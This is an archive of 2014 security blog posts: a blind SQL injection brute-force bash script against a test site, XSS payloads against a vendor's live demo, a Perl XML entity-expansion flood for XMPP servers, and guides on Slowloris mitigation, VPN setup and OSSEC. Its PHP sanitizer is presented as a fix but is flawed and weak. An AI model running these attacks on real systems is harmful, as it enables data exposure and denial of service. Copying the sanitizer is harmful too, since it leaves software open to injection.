Wednesday, September 24, 2014

Introduction to blind SQL injection

This week I was preparing a test scenario for a security engineer position. One of the questions was related to blind SQL injection.

As described by OWASP, blind SQL injection is based on true or false answers from the application. There is a online website for Acunetix security tests testphp.vulnweb.com that we will use to replicate an environment where we will be able to guess the database name.

If you open the website http://testphp.vulnweb.com/artists.php?artist=1 you should see the artist description:

As described in the OWASP wiki, let's try to play with the parameters. We'll add a SQL condition where 1 is equal to 2 (false should be returned). http://testphp.vulnweb.com/artists.php?artist=1 and 1=2

Nothing returned, so it looks like there would be chance of SQL injection. Now we see how true and false looks like, so let's try now guess one of the database letters with the query artist=1 and database() LIKE '%a%':
It has an 'a'. Guessing the database name by hand would take us a while, so let's go to bash and write a command line that will help us to get the first letter. First, let's take a copy of the server response when SQL is true:

curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and 1=1" >/tmp/true

We will suppose the db name has no symbols or numbers. Let's scan for the first letter using database() LIKE '$x%'

$  for x in `bash -c 'printf "%s " {a..z}'`; do curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and database() LIKE '$x%'" > /tmp/test1/tmp; if diff /tmp/test1/tmp /tmp/true > /dev/null ; then echo "$x found"; fi;done
a found

We've got the first one. Now we can run this script to get the full name - note that this DB name will change over time if you try the same on this server:

#!/bin/bash
sqltrue=/tmp/true
sqlfalse=/tmp/false
sqltmp=/tmp/checking
function guessdb {
        for x in `bash -c 'printf "%s " {a..z}'`; do
                curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and database() LIKE '${dbname}${x}%'" > $sqltmp
                if diff $sqltmp $sqltrue > /dev/null ;
                        then
                                echo "$x found"
                                dbname="${dbname}${x}"
                                break
                fi
        done
        }
function isthisdb {
        curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and database() LIKE '$dbname'" > $sqltmp
        if  diff $sqltmp $sqltrue > /dev/null ;
                        then
                                echo "dbname $dbname found"
                                exit 0
                fi
}

curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and 1=1" > $sqltrue
curl -s "http://testphp.vulnweb.com/artists.php?artist=1 and 1=2" > $sqlfalse
dbname="a"
while (true); do
        guessdb
        isthisdb
done
Running the script:

$ ./db.sh
c found
u found
a found
r found
t found
dbname acuart found

If the application's user has enough privileges, you could actually list server's databases, users and other operations.

Bibliography:
https://www.acunetix.com/ Thanks for having the test platform online
OWASP

Friday, September 19, 2014

Mitigating Slow Loris attacks on Apache and Nginx


Robert "RSnake" came up with this attack. It does consist in opening as many connections as you can with a server, and keeping them open as long as you can. The objective is to occupy all the available connections on the target, making it unable to serve other visitors. More information about it on wikipedia.

For Apache, there's a special module mod_antiloris which I haven't tried yet. What I'm using for this example is mod_reqtimeout. This is the configuration on the vhost conf file:

<IfModule mod_reqtimeout.c>
    RequestReadTimeout header=5-10,MinRate=500 body=8,MinRate=500
</IfModule>

This will timeout the headers reception after 5 seconds, but if the client still sending data this will increase 1 second to the timeout every 500 bytes sent per second - up to a maximum of 10 seconds. The body will timeout after 8 seconds, but if the client still sending data at a minimum rate of 500 bytes per second, an extra second will be added to the timeout - unlimited in this case, for if we have a big upload coming in.

To finish enabling this, we need to enable the module and reload apache:

$ sudo a2enmod reqtimeout
$ sudo apachectl graceful

For Nginx. I added this to my vhost configuration file:

#       Slowloris mitigation
        client_body_timeout             5s;
        client_header_timeout           5s;
        keepalive_timeout               10s;
        send_timeout                    15s;

This will make both body and header timeout at 5 seconds. Keep-alive connections will expire at 10 seconds. Also, if we talk back to the client but he is not responding we will close the connection at 15 seconds.

To enable the configuration, check nginx syntax and reload the service:

$ sudo nginx -t && sudo service nginx reload

These parameters works for my setup, you might need to change them depending on your environment.

Bibliography:

Wikipedia page
Apache documentation on mod_reqtimeout
Slowloris original code
Nginx manual

Wednesday, July 9, 2014

Introduction to XSS

During a recent auditory I found a reflected XSS (cross site scripting) on one of my customer's software - OctavoCMS. I'd like to share here a bit about it and how to look for XSS on your own software.

First some disclaimer. This vulnerability (CVE-2014-4331) has been reported to the vendor early June. They have not replied to me yet, and I see their website still vulnerable 1 month later so I think would be a good idea to share it for educational purposes as if you would happen to be one of their customers, maybe you could report this to your account manager and get them to fix it. I am not responsible for any miss use of this information and / or the CVE explained. If you plan to use this information to harm websites / clients please stop reading now.

The following steps may stop working as soon as they fix the software, but you will get the idea.

OctavoCMS allows you to see pictures in the system trough the script viewer.php. Let's see how it works, open the url http://demo.octavocms.com/admin/viewer.php?src=/client/images/shop/products/detailed/34_34.jpg on their online demo, which uses the image path on the src parameter. Check the source code:

[code]

<body onload="FitPic();" style="background-color:#FFFFFF;">

<div align="center" style="padding:10px;">
 <img src="/client/images/shop/products/detailed/34_34.jpg" alt="Image" border="0" />
 <h2 align="center"><a href="javascript:window.close();"><img src="/images/icons/icon-flag.gif" alt="restricted" border="0" align="absmiddle" /> Close</a></h2>
</div>

</body>
</html>

Now change the image path for a quote " and check the source code:

http://demo.octavocms.com/admin/viewer.php?src="

We see that the image has been replaced by the word Image. Let's check the code:

[code]
<body onload="FitPic();" style="background-color:#FFFFFF;">

<div align="center" style="padding:10px;">
 <img src="\"" alt="Image" border="0" />
 <h2 align="center"><a href="javascript:window.close();"><img src="/images/icons/icon-flag.gif" alt="restricted" border="0" align="absmiddle" /> Close</a></h2>
</div>

</body>
</html>

Now change the parameter to ">hello<!--

http://demo.octavocms.com/admin/viewer.php?src=%22%3Ehello%3C!--

The word Image now has been replaced by hello:

[code]
<body onload="FitPic();" style="background-color:#FFFFFF;">

<div align="center" style="padding:10px;">
 <img src="\">hello<!--" alt="Image" border="0" />
 <h2 align="center"><a href="javascript:window.close();"><img src="/images/icons/icon-flag.gif" alt="restricted" border="0" align="absmiddle" /> Close</a></h2>
</div>

</body>
</html>

We found an html injection point. Now let's try to put some JavaScript code on this:

http://demo.octavocms.com/admin/viewer.php?src=%22%3Chr%3Ehello%3Cscript%3Ealert%281%29;%3C/script%3E%3C!--

Now we have a popup with the alert message (chrome might suppress it, if so you could try firefox), so confirmed we can inject scripting code on the client side.

Sometimes communicating XSS to customers / vendors they don't really understand the severity of the issue. If that's the case, I try to be more "graphic" with thepoc using iframes to show another website instead. In this case I'll put the SEGA website inside a frame so one website actually shows another one - the guys from sega should make use of the X-Frame-Options header isn't it? :)


http://demo.octavocms.com/admin/viewer.php?src=%22%3C/div%3E%3Cbr%3E%3Ch2%3EThis%20is%20a%20test%3C/h2%3E%3Cscript%3Ealert%28123%29;%3C/script%3E%3Ch3%3Efin%3C/h3%3E%3Ciframe%20width=1000%20height=1000%20src=http://www.sega.com%20frameborder=0%3E%3C/iframe%3E%3C!--%22


How do we get rid of this? We need to sanitize the input - always. I can't provide a patch for OctavoCMS as it is proprietary software and I do not have access to the code. If you do, PHP has some filters you could use for this, or you could build your own.


Here is a piece of PHP code I used to sanitize one of my client's app. I add it in the includes section, it is meant to parse int, varchar and html input:


usage: 

require_once("includes/sanitize.php");
$my_get_parameter = sanitize($_GET['my_get_parameter'],int [or varchar, html]);



<?php

function sanitize($value, $type) {

if (isset($type)) {
        if ($type == "int" ) {
                if ( is_numeric($value)) {
                        $value = mysql_real_escape_string($value);
                        $value = filter_var($value, FILTER_SANITIZE_NUMBER_INT);
                }
                else
                        $value='0';
        return $value;
        }
        else if ($type == "varchar" ) {
                $value = mysql_real_escape_string($value);
                $value = filter_var($value, FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_HIGH);
                htmlspecialchars($value);
                return $value;
        }
        else if ($type == "html" ) {
                $value = mysql_real_escape_string($value);
                $value = filter_var($value, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_FLAG_ENCODE_HIGH);
                //htmlspecialchars($value);
                return $value;
        }

}
}
?>


Thursday, June 19, 2014

Flooding XMPP servers

Recently I was auditing an XMPP service for one of my customers and found it was prone to an attack named billion laugh. This is a script I created to test it :

#!/usr/bin/perl


use IO::Socket::INET;

# auto-flush on socket
$| = 1;

$numArgs = $#ARGV + 1;

if ( $numArgs < 1 ) {
        die "not enough parameters! pass me a host to connect to";
        }

my $server=$ARGV[0];

print "Connecting to host $server";

my $sock = new IO::Socket::INET (
        PeerAddr => $server,
        PeerPort => '5222',
        Proto => 'tcp',
);

die "Could not create socket: $!\n" unless $sock;

my $payload= '<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<!ELEMENT lolz (#PCDATA)>
<lolz>&lol9;</lolz>



<stream:stream xmlns:stream="http://etherx.jabber.org/streams" version="1.0" xmlns="jabber:client" to="pepebotella.com" xml:lang="en" xmlns:xml="http://www.w3.org/XML/1998/namespace">

<!ELEMENT lolz (#PCDATA)>
<!ELEMENT lolz (#PCDATA)>


';

my $size = $sock->send($payload);
print "sent data of length $size\n";

# notify server that request has been sent
shutdown($sock, 1);

# receive a response of up to 1024 characters from server
my $response = "";
$sock->recv($response, 1024);
print "received response: $response\n";

$sock->close();


My customer has a XMPP application. After a while of running this script continuously the XMPP service would just stop processing the requests. I don't have access to the code / servers, so I assume the service has not been hardened to avoid flooding.

To mitigate this attack you could:
  • Disable entity expansion
  • Limit characters on entities
  • Limit external entities

Bibliography - if you are interested on this, I do recommend these articles where I've got almost all my research:

Wednesday, April 2, 2014

Using multiple hosts for X-Frame-Options on Nginx

This week I was implementing the X-Frame-Options to prevent clickjacking on a website which requires multiple XFO entries for different providers. This is how I did it.

First, you need the Rewrite module in your Nginx - it should be ok unless you built your package without it. In my case, the entries were needed for:

  • myprovider1.mydomain.com (partner)
  • myprovider2.mydomain.com (partner)
  • myusualprovider.mydomain.com (usual assets provider)

Depending on the engine being used the location may change, for example for an HTML server it would be located on 'location /', however for a PHP website it might need to be located on the 'location ~ \.php$'


location / {
[...]
        set $external_origin 0;
        if ($http_origin ~ "mydomain.com$") {
                add_header X-Frame-Options  "ALLOW-FROM $http_origin";
                set $external_origin 1;
        }
        if ($external_origin = "0") {
                add_header X-Frame-Options "ALLOW-FROM http://myusualentry.mydomain.com";
        }
[...]
}

Since at the moment Nginx does not have a if ... else we need to work with variables. If we access www.mydomain.com directly will make the $http_origin variable empty and the $external_origin variable will remain as '0', assigning the usual asset provider as the XFO value (add_header X-Frame-Options "ALLOW-FROM http://myusualentry.mydomain.com";). If the website it's called trough another website, it will check whether the call was done from a *mydomain.com origin, if so it will add the origin host as an allowed XFO entry and change $external_origin to 1 so it won't add anymore entries - according to the rfc, only one value is accepted.

Wednesday, March 5, 2014

AWS VPC to VPC vpn using IPSec (Strongswan)

This week I was setting up VPN tunnels between VPCs to connect different environments of our platform. Some notes about its setup.

First let's see the picture of what we want to do:



We have VPCs Staging and live. We will use ikev2 and PSK.

Inside each VPC, create a new ec2 instance for VPN purposes. I installed Ubuntu, if you use Redhat or AMI Linux steps should be fairly similar.

Once the instance is up and running, we need to right click on it, click on Change source / destination check and disable it on all VPN servers - this parameter makes the instance to process traffic which it is the source or destination, so definitely we need it off for IPSEC.




Now go into the VPN servers. Update the package list and install StrongSwan:

  • $ sudo apt-get update
  • $ sudo apt-get install strongswan
On Staging VPN server, this will be the content of /etc/ipsec.conf:

#------ Begin ipsec.conf -------
config setup
        plutodebug=none #change to "control" if you want to register what happens
        charonstart=yes
        plutostart=yes

conn %default
        ikelifetime=60m
        keylife=20m
        rekeymargin=3m
        keyingtries=1
        keyexchange=ikev2
        authby=secret

conn live
        left=%defaultroute
        leftsubnet=10.1.0.0/16
        leftid=@staging.mydomain
        leftfirewall=yes
        right=54.54.54.2
        rightsubnet=10.2.0.0/16
        rightid=@live.mydomain
        dpdaction=restart
        auto=start
#------ End ipsec.conf -------

Content of /etc/ipsec.secrets:

#-----Begin ipsec.secrets-----
@staging.mydomain @live.mydomain : PSK "101010101010101010101010555^^^^^^^^^"

#-----End ipsec.secrets-----



On Live VPN server, 
this will be the content of /etc/ipsec.conf::

#------ Begin ipsec.conf -------
config setup
        plutodebug=none #change to "control" if you want to register what happens
        charonstart=yes
        plutostart=yes

conn %default
        ikelifetime=60m
        keylife=20m
        rekeymargin=3m
        keyingtries=1
        keyexchange=ikev2
        authby=secret

conn staging
        left=%defaultroute
        leftsubnet=10.2.0.0/16
        leftid=@live.mydomain
        leftfirewall=yes
        right=54.54.54.1
        rightsubnet=10.1.0.0/16
        rightid=@staging.mydomain
        dpdaction=restart
        auto=start
#------ End ipsec.conf -------

Content of /etc/ipsec.secrets:

#-----Begin ipsec.secrets-----
@live.mydomain @staging.mydomain : PSK "101010101010101010101010555^^^^^^^^^"

#-----End ipsec.secrets-----



On both EC2 instances we need to enable the ip forwarding, add this line:

net.ipv4.conf.all.forwarding = 1

to the file /etc/sysctl.conf and apply the changes by executing:
  • $ sudo sysctl -p

Depending on your intentions, some of the following step might be optional. For me on both EC2 instance's security groups I added the following to have access to traceroutes, pings and all tcp services in general - this can be blocked later at VPC ACL's level. The minimum would be allow UDP port 500 for the configuration above.
  • All ICMP incoming traffic from subnets 10.1.0.0/16, 10.2.0.0/16, 54.54.54.1 and 54.54.54.2
  • All UDP incoming traffic from subnets 10.1.0.0/16, 10.2.0.0/16, 54.54.54.1 and 54.54.54.2
  • All TCP incoming traffic from subnets 10.1.0.0/16, 10.2.0.0/16, 54.54.54.1 and 54.54.54.2
On both EC2 nodes you may execute ipsec restart to apply all the previous configuration. Now ping an internal IP belonging to the other VPC, if everything went well you'll get a reply - and if the traffic is allowed in the security groups of both VPN nodes and EC2 intances you are pinging to. This configuration is meant to automatically start the tunnel, but if you want to trigger it manually change the parameter auto to add  and bring up the tunnel by executing:

$ sudo ipsec up live
establishing CHILD_SA live
generating CREATE_CHILD_SA request 6 [ SA No TSi TSr ]
sending packet: from 10.1.0.X[4500] to 54.54.54.2[4500]
received packet: from 54.54.54.2[4500] to 10.1.0.X[4500]
parsed CREATE_CHILD_SA response 6 [ SA No TSi TSr ]

To add more VPCs, just add more connection definitions to the ipsec.conf and keys to the ipsec.secrets. Additional reading of Strongswan at its documentation and their guide for remote VPN client.


Friday, February 7, 2014

Basic installation of OSSEC

Recently I was browsing solutions to centralize all my logs in one place when I came across with OSSEC. OSSEC can help us centralizing all the syslog / apache / etc messages and moreover, to detect attacks and take pre defined actions in response, among other features.

First step is setting up the server. You can download the latest version at their website. In this example we will configure both server with MySQL support and WebUI using Apache.

Let's install the packages needed:

$ sudo apt-get install make gcc apache2-utils libapache2-mod-php5 apache2 libmysqlclient-dev mysql-server

Next download the sources to a temporal directory and decompress them:

$ tar -xvzf ossec-hids-2.7.1.tar.gz
$ cd ossec-hids-2.7.1/

There's a nice installation script for us to install the application. Let's walk throughout it.

$ sudo sh install.sh
<select language>
1- What kind of installation do you want (server, agent, local, hybrid or help)? server (right?)
2 - Choose where to install the OSSEC HIDS [/var/ossec]: (where to install this)
3.1- Do you want e-mail notification? (y/n) [y]: n (do you want emails from OSSEC?)
3.2- Do you want to run the integrity check daemon? (y/n) [y]: (useful, kind of like it more than tripwire)
3.3- Do you want to run the rootkit detection engine? (y/n) [y]: (convenient to detect visitors)
3.4- Do you want to enable active response? (y/n) [y]: (Up to you, I'd enable it first only on test environments)   
- Do you want to enable the firewall-drop response? (y/n) [y]: (same)   
- Do you want to add more IPs to the white list? (y/n)? [n]:y (I'd add your trust network here)   
- IPs (space separated): 10.0.0.0/24
3.5- Do you want to enable remote syslog (port 514 udp)? (y/n) [y]: (enable remote syslog)

After installing we will receive a few notes about the application. The main ones are:

 - To start / stop OSSEC HIDS: /var/ossec/bin/ossec-control start / stop

 - The configuration can be viewed or modified at /var/ossec/etc/ossec.conf

  - To manage the agents: /var/ossec/bin/manage_agents

Let's move to the WebUI part. First, we need to configure Apache to serve the app - let's say it's located at /var/www/ossec-wui. This is my configuration file:

$ cat /etc/apache2/sites-enabled/ossec.conf 
<VirtualHost *:80>
        ServerAdmin some@guy.is
        DocumentRoot /var/www/ossec-wui

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        <Directory /var/www/ossec-wui>
                Options FollowSymLinks
                AllowOverride All 

        </Directory>
</VirtualHost>

Now let's download the code from the ossec, decompress it and run the setup.sh script.

$ tar -xvzf ossec-wui-0.8.tar.gz -C /var/www/ossec-wui
$ cd /var/www/ossec-wui
$ sudo sh setup.sh 
Setting up ossec ui...
Username: [username they will generate to create the .htpassword]
New password:
Re-type new password:
Adding password for user
Enter your web server user name (e.g. apache, www, nobody, www-data, ...)
www-data [enter the user who runs your apache, in debian is www-data]Enter your OSSEC install directory path (e.g. /var/ossec)
/var/ossec [ your ossec installation path]
You must restart your web server after this setup is done.
Setup completed successfuly.
The script should add your web server's user to the ossec security group. Check it out to confirm we can continue:

$ cat /etc/group | grep ossec
 ossec:x:1002:www-data
Some initial modifications to the [installation path]/etc/ossec.conf, we will add our local network to the syslog component and configure our database as an output component.

$ sudo vim /var/ossec/etc/ossec.conf

Let's look for these lines:

   <remote>
    <connection>syslog</connection>
  </remote>

We change it to:

  <remote>
    <connection>syslog</connection>
    <allowed-ips>10.0.0.0/16</allowed-ips> [Our local network]
  </remote>

Not, let's add our database config:

    <database_output>
        <hostname>127.0.0.1</hostname>
        <username>ossec-user</username>
        <password>ossec-pass</password>
        <database>ossec-database-name</database>
        <type>mysql</type>
    </database_output>

Certainly we need to create the database as well, and load the initial schema - it can be found in the initial source tarball, folder /src/os_dbd/mysql.schema

mysql>  create database ossec-database-name
$ mysql> grant all privileges on ossec-database-name.* to ossec-user@localhost identified by 'ossec-pass';
mysql -u ossec-user -p ossec-database-name < [path to tarball]/src/os_dbd/mysql.schema

Next we enable the output to DB:

$ sudo /var/ossec/bin/ossec-control enable database_output

And restart the server:

$ sudo service ossec restart (or sudo /etc/init.d/ossec restart depending on your configuration)


Now we install the software on the client(s). Let's install the basic packages we need to compile the software and download the sources:

$ sudo apt-get install make gcc 
$ tar -xvzf ossec-hids-2.7.1.tar.gz
$ cd ossec-hids-2.7.1/
$ sudo sh install.sh
<select language>
1- What kind of installation do you want (server, agent, local, hybrid or help)?  agent
<installation path>
3.1- What's the IP Address or hostname of the OSSEC HIDS server?: your-server-hostname
3.2- Do you want to run the integrity check daemon? (y/n) [y]:
  3.3- Do you want to run the rootkit detection engine? (y/n) [y]:
    3.4 - Do you want to enable active response? (y/n) [y]: y [only if not production or you know what you are doing]
The installation of the client is pretty straight forward. Now we need to register the client on the server, for this we will use the tool /var/ossec/bin/manage_agents  on both server and client:

(Server side)
/var/ossec/bin/manage_agents

****************************************
* OSSEC HIDS v2.7.1 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: a
- Adding a new agent (use '\q' to return to the main menu).
  Please provide the following:
   * A name for the new agent: myclient   
    * The IP Address of the new agent: XXX.XXX.XXX.XXX 
    * An ID for the new agent[001]: 001Agent information:
   ID:001
   Name: myclient
   IP Address: XXX.XXX.XXX.XXX
Confirm adding it?(y/n): y 
Agent added.
****************************************
* OSSEC HIDS v2.7.1 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: E
Available agents:
   ID: 001, Name: myclient, IP: XXX.XXX.XXX.XXX
Provide the ID of the agent to extract the key (or '\q' to quit): 001
Agent key information for '001' is:
saldkjaslkdjklsjadklasjdlkjasdlkjasaldkjaslkdjklsjadklasjdlkjasdlkjasaldkjaslkdjklsjadklasjdlkjasdlkjasaldkjaslkdjklsjadklasjdlkjasdlkjasaldkjaslkdjklsjadklasjdlkjasdlkjasaldkjaslkdjklsjadklasjdlkjasdlkja [copy paste this key ]
** Press ENTER to return to the main menu.

****************************************
* OSSEC HIDS v2.7.1 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: q
** You must restart OSSEC for your changes to take effect.
manage_agents: Exiting ..
(On client side)

$ sudo /var/ossec/bin/manage_agents

****************************************
* OSSEC HIDS v2.7.1 Agent manager.     *
* The following options are available: *
****************************************
   (I)mport key from the server (I).
   (Q)uit.
Choose your action: I or Q: I
* Provide the Key generated by the server.
* The best approach is to cut and paste it.
*** OBS: Do not include spaces or new lines.
Paste it here (or '\q' to quit): [here you put the key generated in the server] 
Agent information:
   ID:001
   Name:myclient
   IP Address:XXX.XXX.XXX.XXX
Confirm adding it?(y/n): y
Added.
** Press ENTER to return to the main menu.


****************************************
* OSSEC HIDS v2.7.1 Agent manager.     *
* The following options are available: *
****************************************
   (I)mport key from the server (I).
   (Q)uit.
Choose your action: I or Q: Q
** You must restart OSSEC for your changes to take effect.
manage_agents: Exiting ..
Now we start the client:

$ sudo service ossec start ( or /etc/init.d/ossec start )

That's it, the client should be talking to the server. We can confirm with the agent_control tool from the server:

$ sudo /var/ossec/bin/agent_control -i 001
OSSEC HIDS agent_control. Agent information:
   Agent ID:   001
   Agent Name: myclient
   IP address: XXX.XXX.XXX.XXX
   Status:     Active <--
   Operating system:    Linux microsites01 3.8.0-19-generic #29-Ubuntu SMP W..
   Client version:      OSSEC HIDS v2.7.1
   Last keep alive:     Mon Jan 27 09:03:10 2014
   Syscheck last started  at: Mon Jan 27 03:08:49 2014
   Rootcheck last started at: Sun Jan 26 21:17:08 2014
We can use the [installation path]/logs/ossec.log to diagnose issues on agents. I found that on AWS, with my configuration, I needed to specify the IP of the server to make the agent work. On the server's [installation paath]/etc/ossec.conf :

From:

  <client>
    <server-hostname>server-ossec.mydomain.com</server-hostname>
  </client>

to

  <client>
    <server-hostname>server-ossec.mydomain.com</server-hostname>
    <server-ip>XXX.XXX.XXX.XXX</server-ip>
  </client>

To check out more configurations and functionalities of OSSEC you can check their online manual